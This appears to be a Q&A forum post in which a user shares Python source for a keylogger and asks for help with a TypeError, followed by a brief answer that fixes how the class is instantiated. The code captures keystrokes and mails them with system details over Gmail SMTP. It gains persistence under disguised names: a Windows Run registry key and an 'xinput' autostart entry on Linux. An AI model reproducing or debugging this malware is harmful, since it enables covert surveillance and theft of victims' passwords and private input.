"This is my first coding question on stack so maybe not upto mark"
So I am trying to make a local keylogger that would store all keystrokes in a .txt file and when the system reboots send the file to my email using smtp and again start the keylogger.
The code is as follows:
import pynput.keyboard
import smtplib
import os
import shutil
import subprocess
import sys
import stat
import platform
import getpass
import socket
import time
class Keylogger:
def __init__(self, email, password):
self.email = email
self.password = password
self.system_info = self.get_system_info()
def append_to_log(self, string):
self.log = self.log + string
file = open(r"C:\Program Files\explorer.txt", "wb")
file.write(self.log)
def check_internet(self):
ipaddress = socket.gethostbyname(socket.gethostname())
while ipaddress=="127.0.0.1":
time.sleep(10)
ipaddress = socket.gethostbyname(socket.gethostname())
self.report()
def get_system_info(self):
uname = platform.uname()
os = uname[0] + " " + uname[2] + " " + uname[3]
computer_name = uname[1]
user = getpass.getuser()
return "Operating System:\t" + os + "\nComputer Name:\t\t" + computer_name + "\nUser:\t\t\t\t" + user
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)
def report(self):
self.send_mail(self.log)
def send_mail(self, message):
message = "Subject: Alogger report\n\n" + "Report From:\n\n" + self.system_info + "\n\nLogs:\n" + message
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(self.email, self.password)
server.sendmail(self.email, self.email, message)
server.quit()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
keyboard_listener.join()
def become_persistent(self):
if sys.platform.startswith("win"):
self.become_persistent_on_windows()
elif sys.platform.startswith("linux"):
self.become_persistent_on_linux()
def become_persistent_on_windows(self):
evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
if not os.path.exists(evil_file_location):
self.log = "* Keylogger started * "
shutil.copyfile(sys.executable, evil_file_location)
subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /t REG_SZ /d "' + evil_file_location + '"', shell=True)
def become_persistent_on_linux(self):
home_config_directory = os.path.expanduser('~') + "/.config/"
autostart_path = home_config_directory + "/autostart/"
autostart_file = autostart_path + "xinput.desktop"
if not os.path.isfile(autostart_file):
self.log = "** Keylogger started **"
try:
os.makedirs(autostart_path)
except OSError:
pass
destination_file = home_config_directory + "xnput"
shutil.copyfile(sys.executable, destination_file)
self.chmod_to_exec(destination_file)
with open(autostart_file, 'w') as out:
out.write("[Desktop Entry]\nType=Application\nX-GNOME-Autostart-enabled=true\n")
out.write("Name=Xinput\nExec=" + destination_file + "\n")
def chmod_to_exec(self, file):
os.chmod(file, os.stat(file).st_mode | stat.S_IEXEC)
#end of class
#starting Keylogger not included in class
if not os.path.exists(r"C:\Program Files\explorer.txt"):
Keylogger.become_persistent()
file = open(r"C:\Program Files\explorer.txt", "wb")
Keylogger.start()
elif os.path.exists(r"C:\Program Files\explorer.txt") and
os.stat(file_path).st_size
<= 0:
Keylogger.start()
else:
Keylogger.check_internet()
os.remove(r"C:\Program Files\explorer.txt")
Keylogger.start()
So i get the following errors:
Traceback (most recent call last):
File "C:/Users/MYPC/PycharmProjects/self_made_hack/venv/keylogger local.py", line
108, in <module>
Keylogger.become_persistent()
TypeError: become_persistent() missing 1 required positional argument: 'self'
This is my first advance project so many errors will be there. so what are suggestions and solutions for this code
You're using the Keylogger
class directly, but instead you should declare an instance of that class:
my_keylogger = Keylogger()
my_keylogger.become_persistent()